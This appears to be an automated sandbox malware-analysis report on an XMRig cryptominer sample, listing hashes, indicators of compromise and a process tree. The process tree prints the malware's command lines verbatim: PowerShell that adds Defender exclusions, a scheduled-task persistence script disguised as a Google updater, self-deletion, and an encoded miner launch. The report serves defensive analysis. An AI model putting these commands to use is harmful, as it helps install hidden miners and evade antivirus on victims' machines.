xmrig | ae23dce6045773f7debde8d12221f2e8a0c356a2b048d2863fb35fb0840fde3e

max time kernel
1799s
max time network
1783s
platform
windows10-2004_x64
resource
win10v2004-20231222-en
resource tags

arch:x64arch:x86image:win10v2004-20231222-enlocale:en-usos:windows10-2004-x64system
submitted
27/01/2024, 11:19

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General

Target

grhddhsGHswgh/qM5GMXBk6hJE6Y5e (16).exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 9 IoCs

description	pid	Process	procid_target
PID 2720 created 3424	2720	qM5GMXBk6hJE6Y5e (16).exe	41
PID 2720 created 3424	2720	qM5GMXBk6hJE6Y5e (16).exe	41
PID 2720 created 3424	2720	qM5GMXBk6hJE6Y5e (16).exe	41
PID 2720 created 3424	2720	qM5GMXBk6hJE6Y5e (16).exe	41
PID 756 created 3424	756	updater.exe	41
PID 756 created 3424	756	updater.exe	41
PID 756 created 3424	756	updater.exe	41
PID 1888 created 3424	1888	conhost.exe	41
PID 756 created 3424	756	updater.exe	41

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 27 IoCs

miner

resource	yara_rule
behavioral2/memory/4168-124-0x00007FF6EA830000-0x00007FF6EB024000-memory.dmp	xmrig
behavioral2/memory/4168-128-0x00007FF6EA830000-0x00007FF6EB024000-memory.dmp	xmrig
behavioral2/memory/4168-129-0x00007FF6EA830000-0x00007FF6EB024000-memory.dmp	xmrig
behavioral2/memory/4168-131-0x00007FF6EA830000-0x00007FF6EB024000-memory.dmp	xmrig
behavioral2/memory/4168-135-0x00007FF6EA830000-0x00007FF6EB024000-memory.dmp	xmrig
behavioral2/memory/4168-137-0x00007FF6EA830000-0x00007FF6EB024000-memory.dmp	xmrig
behavioral2/memory/4168-143-0x00007FF6EA830000-0x00007FF6EB024000-memory.dmp	xmrig
behavioral2/memory/4168-145-0x00007FF6EA830000-0x00007FF6EB024000-memory.dmp	xmrig
behavioral2/memory/4168-147-0x00007FF6EA830000-0x00007FF6EB024000-memory.dmp	xmrig
behavioral2/memory/4168-149-0x00007FF6EA830000-0x00007FF6EB024000-memory.dmp	xmrig
behavioral2/memory/4168-151-0x00007FF6EA830000-0x00007FF6EB024000-memory.dmp	xmrig
behavioral2/memory/4168-153-0x00007FF6EA830000-0x00007FF6EB024000-memory.dmp	xmrig
behavioral2/memory/4168-155-0x00007FF6EA830000-0x00007FF6EB024000-memory.dmp	xmrig
behavioral2/memory/4168-157-0x00007FF6EA830000-0x00007FF6EB024000-memory.dmp	xmrig
behavioral2/memory/4168-159-0x00007FF6EA830000-0x00007FF6EB024000-memory.dmp	xmrig
behavioral2/memory/4168-161-0x00007FF6EA830000-0x00007FF6EB024000-memory.dmp	xmrig
behavioral2/memory/4168-163-0x00007FF6EA830000-0x00007FF6EB024000-memory.dmp	xmrig
behavioral2/memory/4168-165-0x00007FF6EA830000-0x00007FF6EB024000-memory.dmp	xmrig
behavioral2/memory/4168-167-0x00007FF6EA830000-0x00007FF6EB024000-memory.dmp	xmrig
behavioral2/memory/4168-169-0x00007FF6EA830000-0x00007FF6EB024000-memory.dmp	xmrig
behavioral2/memory/4168-171-0x00007FF6EA830000-0x00007FF6EB024000-memory.dmp	xmrig
behavioral2/memory/4168-173-0x00007FF6EA830000-0x00007FF6EB024000-memory.dmp	xmrig
behavioral2/memory/4168-175-0x00007FF6EA830000-0x00007FF6EB024000-memory.dmp	xmrig
behavioral2/memory/4168-177-0x00007FF6EA830000-0x00007FF6EB024000-memory.dmp	xmrig
behavioral2/memory/4168-179-0x00007FF6EA830000-0x00007FF6EB024000-memory.dmp	xmrig
behavioral2/memory/4168-181-0x00007FF6EA830000-0x00007FF6EB024000-memory.dmp	xmrig
behavioral2/memory/4168-183-0x00007FF6EA830000-0x00007FF6EB024000-memory.dmp	xmrig

Executes dropped EXE 1 IoCs

pid	Process
756	updater.exe

UPX packed file 31 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/4168-120-0x00007FF6EA830000-0x00007FF6EB024000-memory.dmp	upx
behavioral2/memory/4168-124-0x00007FF6EA830000-0x00007FF6EB024000-memory.dmp	upx
behavioral2/memory/4168-128-0x00007FF6EA830000-0x00007FF6EB024000-memory.dmp	upx
behavioral2/memory/4168-129-0x00007FF6EA830000-0x00007FF6EB024000-memory.dmp	upx
behavioral2/memory/4168-131-0x00007FF6EA830000-0x00007FF6EB024000-memory.dmp	upx
behavioral2/memory/4168-135-0x00007FF6EA830000-0x00007FF6EB024000-memory.dmp	upx
behavioral2/memory/4168-137-0x00007FF6EA830000-0x00007FF6EB024000-memory.dmp	upx
behavioral2/memory/4168-139-0x00007FF6EA830000-0x00007FF6EB024000-memory.dmp	upx
behavioral2/memory/4168-141-0x00007FF6EA830000-0x00007FF6EB024000-memory.dmp	upx
behavioral2/memory/4168-143-0x00007FF6EA830000-0x00007FF6EB024000-memory.dmp	upx
behavioral2/memory/4168-145-0x00007FF6EA830000-0x00007FF6EB024000-memory.dmp	upx
behavioral2/memory/4168-147-0x00007FF6EA830000-0x00007FF6EB024000-memory.dmp	upx
behavioral2/memory/4168-149-0x00007FF6EA830000-0x00007FF6EB024000-memory.dmp	upx
behavioral2/memory/4168-151-0x00007FF6EA830000-0x00007FF6EB024000-memory.dmp	upx
behavioral2/memory/4168-153-0x00007FF6EA830000-0x00007FF6EB024000-memory.dmp	upx
behavioral2/memory/4168-155-0x00007FF6EA830000-0x00007FF6EB024000-memory.dmp	upx
behavioral2/memory/4168-157-0x00007FF6EA830000-0x00007FF6EB024000-memory.dmp	upx
behavioral2/memory/4168-159-0x00007FF6EA830000-0x00007FF6EB024000-memory.dmp	upx
behavioral2/memory/4168-161-0x00007FF6EA830000-0x00007FF6EB024000-memory.dmp	upx
behavioral2/memory/4168-163-0x00007FF6EA830000-0x00007FF6EB024000-memory.dmp	upx
behavioral2/memory/4168-165-0x00007FF6EA830000-0x00007FF6EB024000-memory.dmp	upx
behavioral2/memory/4168-167-0x00007FF6EA830000-0x00007FF6EB024000-memory.dmp	upx
behavioral2/memory/4168-169-0x00007FF6EA830000-0x00007FF6EB024000-memory.dmp	upx
behavioral2/memory/4168-171-0x00007FF6EA830000-0x00007FF6EB024000-memory.dmp	upx
behavioral2/memory/4168-173-0x00007FF6EA830000-0x00007FF6EB024000-memory.dmp	upx
behavioral2/memory/4168-175-0x00007FF6EA830000-0x00007FF6EB024000-memory.dmp	upx
behavioral2/memory/4168-177-0x00007FF6EA830000-0x00007FF6EB024000-memory.dmp	upx
behavioral2/memory/4168-179-0x00007FF6EA830000-0x00007FF6EB024000-memory.dmp	upx
behavioral2/memory/4168-181-0x00007FF6EA830000-0x00007FF6EB024000-memory.dmp	upx
behavioral2/memory/4168-183-0x00007FF6EA830000-0x00007FF6EB024000-memory.dmp	upx
behavioral2/memory/4168-185-0x00007FF6EA830000-0x00007FF6EB024000-memory.dmp	upx

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 756 set thread context of 1888	756	updater.exe	116
PID 756 set thread context of 4168	756	updater.exe	117

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Chrome\updater.exe	qM5GMXBk6hJE6Y5e (16).exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
4636	WMIC.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe

Suspicious behavior: EnumeratesProcesses 30 IoCs

pid	Process
2720	qM5GMXBk6hJE6Y5e (16).exe
2720	qM5GMXBk6hJE6Y5e (16).exe
2900	powershell.exe
2900	powershell.exe
2720	qM5GMXBk6hJE6Y5e (16).exe
2720	qM5GMXBk6hJE6Y5e (16).exe
3640	powershell.exe
3640	powershell.exe
2720	qM5GMXBk6hJE6Y5e (16).exe
2720	qM5GMXBk6hJE6Y5e (16).exe
2720	qM5GMXBk6hJE6Y5e (16).exe
2720	qM5GMXBk6hJE6Y5e (16).exe
3400	powershell.exe
3400	powershell.exe
756	updater.exe
756	updater.exe
212	powershell.exe
212	powershell.exe
756	updater.exe
756	updater.exe
2544	powershell.exe
2544	powershell.exe
756	updater.exe
756	updater.exe
756	updater.exe
756	updater.exe
1888	conhost.exe
1888	conhost.exe
756	updater.exe
756	updater.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2900	powershell.exe
Token: SeDebugPrivilege	3640	powershell.exe
Token: SeIncreaseQuotaPrivilege	3640	powershell.exe
Token: SeSecurityPrivilege	3640	powershell.exe
Token: SeTakeOwnershipPrivilege	3640	powershell.exe
Token: SeLoadDriverPrivilege	3640	powershell.exe
Token: SeSystemProfilePrivilege	3640	powershell.exe
Token: SeSystemtimePrivilege	3640	powershell.exe
Token: SeProfSingleProcessPrivilege	3640	powershell.exe
Token: SeIncBasePriorityPrivilege	3640	powershell.exe
Token: SeCreatePagefilePrivilege	3640	powershell.exe
Token: SeBackupPrivilege	3640	powershell.exe
Token: SeRestorePrivilege	3640	powershell.exe
Token: SeShutdownPrivilege	3640	powershell.exe
Token: SeDebugPrivilege	3640	powershell.exe
Token: SeSystemEnvironmentPrivilege	3640	powershell.exe
Token: SeRemoteShutdownPrivilege	3640	powershell.exe
Token: SeUndockPrivilege	3640	powershell.exe
Token: SeManageVolumePrivilege	3640	powershell.exe
Token: 33	3640	powershell.exe
Token: 34	3640	powershell.exe
Token: 35	3640	powershell.exe
Token: 36	3640	powershell.exe
Token: SeIncreaseQuotaPrivilege	3640	powershell.exe
Token: SeSecurityPrivilege	3640	powershell.exe
Token: SeTakeOwnershipPrivilege	3640	powershell.exe
Token: SeLoadDriverPrivilege	3640	powershell.exe
Token: SeSystemProfilePrivilege	3640	powershell.exe
Token: SeSystemtimePrivilege	3640	powershell.exe
Token: SeProfSingleProcessPrivilege	3640	powershell.exe
Token: SeIncBasePriorityPrivilege	3640	powershell.exe
Token: SeCreatePagefilePrivilege	3640	powershell.exe
Token: SeBackupPrivilege	3640	powershell.exe
Token: SeRestorePrivilege	3640	powershell.exe
Token: SeShutdownPrivilege	3640	powershell.exe
Token: SeDebugPrivilege	3640	powershell.exe
Token: SeSystemEnvironmentPrivilege	3640	powershell.exe
Token: SeRemoteShutdownPrivilege	3640	powershell.exe
Token: SeUndockPrivilege	3640	powershell.exe
Token: SeManageVolumePrivilege	3640	powershell.exe
Token: 33	3640	powershell.exe
Token: 34	3640	powershell.exe
Token: 35	3640	powershell.exe
Token: 36	3640	powershell.exe
Token: SeIncreaseQuotaPrivilege	3640	powershell.exe
Token: SeSecurityPrivilege	3640	powershell.exe
Token: SeTakeOwnershipPrivilege	3640	powershell.exe
Token: SeLoadDriverPrivilege	3640	powershell.exe
Token: SeSystemProfilePrivilege	3640	powershell.exe
Token: SeSystemtimePrivilege	3640	powershell.exe
Token: SeProfSingleProcessPrivilege	3640	powershell.exe
Token: SeIncBasePriorityPrivilege	3640	powershell.exe
Token: SeCreatePagefilePrivilege	3640	powershell.exe
Token: SeBackupPrivilege	3640	powershell.exe
Token: SeRestorePrivilege	3640	powershell.exe
Token: SeShutdownPrivilege	3640	powershell.exe
Token: SeDebugPrivilege	3640	powershell.exe
Token: SeSystemEnvironmentPrivilege	3640	powershell.exe
Token: SeRemoteShutdownPrivilege	3640	powershell.exe
Token: SeUndockPrivilege	3640	powershell.exe
Token: SeManageVolumePrivilege	3640	powershell.exe
Token: 33	3640	powershell.exe
Token: 34	3640	powershell.exe
Token: 35	3640	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1032 wrote to memory of 2688	1032	cmd.exe	99
PID 1032 wrote to memory of 2688	1032	cmd.exe	99
PID 3400 wrote to memory of 1952	3400	powershell.exe	101
PID 3400 wrote to memory of 1952	3400	powershell.exe	101
PID 756 wrote to memory of 1888	756	updater.exe	116
PID 3656 wrote to memory of 4636	3656	cmd.exe	113
PID 3656 wrote to memory of 4636	3656	cmd.exe	113
PID 756 wrote to memory of 4168	756	updater.exe	117

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (16).exe
"C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (16).exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:2720

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3424
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2900
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3640
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (16).exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1032
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:3400
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:212
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:2544
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:3496
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:1888
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  PID:4168

C:\Windows\System32\choice.exe
choice /C Y /N /D Y /T 3
1⤵
PID:2688

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
1⤵
PID:1952

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:756
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:3656

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
1⤵
- Detects videocard installed
PID:4636

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\updater.exe

Filesize
427KB

MD5
b200bb5138859735bd07f158fa417ded

SHA1
ab723ea5d21987a0d81ca22caaf747d858c3f7a8

SHA256
e1c18edfecb9ca676c804b0ca418b8203000f0cb814517ce216474eebff069ed

SHA512
90f7a06f0fecde64991d83c0744da248f7c7eaa6378d766eacabfc0c93f9b0c8e62137f49bb0a51b7e0dacba0ae9c5b5112d9c721a9b417f249dee73cbb52d3c

Download Submit
C:\Program Files\Google\Chrome\updater.exe

Filesize
41KB

MD5
77818b034bc0eaeeb45824df36758d4a

SHA1
080be0189c3b7d58a9fa4cf098f303b8b6966a9c

SHA256
855ea68630e0f060efcb0a59b8b43cf6f1c422bf84759690a4816d52de920b66

SHA512
4ab58fa2222fb38a596caac2c86485756b45eff2b6374ddf3b26d367edc709b5c622c1b8ddd6d26d006a1a69f3cff7035ee0326d7323de7748bc01a2289043e6

Download Submit
C:\Program Files\Google\Libs\g.log

Filesize
226B

MD5
fdba80d4081c28c65e32fff246dc46cb

SHA1
74f809dedd1fc46a3a63ac9904c80f0b817b3686

SHA256
b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398

SHA512
b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
